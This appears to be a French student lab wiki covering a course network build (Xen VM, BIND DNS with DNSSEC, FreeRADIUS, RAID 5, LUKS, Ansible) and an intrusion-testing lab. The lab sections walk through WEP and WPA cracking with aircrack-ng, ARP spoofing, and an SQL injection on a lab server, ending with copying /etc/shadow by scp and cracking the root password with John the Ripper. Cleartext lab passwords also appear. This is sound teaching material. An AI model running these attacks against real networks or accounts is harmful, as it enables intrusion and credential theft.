belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{{ item }}"<br />
dest: "/etc/consul/{{ item }}"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
Le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap_expect": 2,<br />
"retry_join": ["172.26.145.101"],<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Et le fichier <code>roles/consul/files/web.json</code> contient : <br />
<br />
{<br />
"service": {<br />
"name": "web-bellerose",<br />
"tags": ["boris","louis","web"],<br />
"port": 80<br />
},<br />
<br />
"check": {<br />
"id": "webport",<br />
"name": "Simple HTTP GET",<br />
"method": "GET",<br />
"http": "http://172.26.145.106",<br />
"interval": "10s",<br />
"timeout": "1s"<br />
}<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58011TP sysres IMA5 2021/2022 G62022-01-12T12:40:27Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
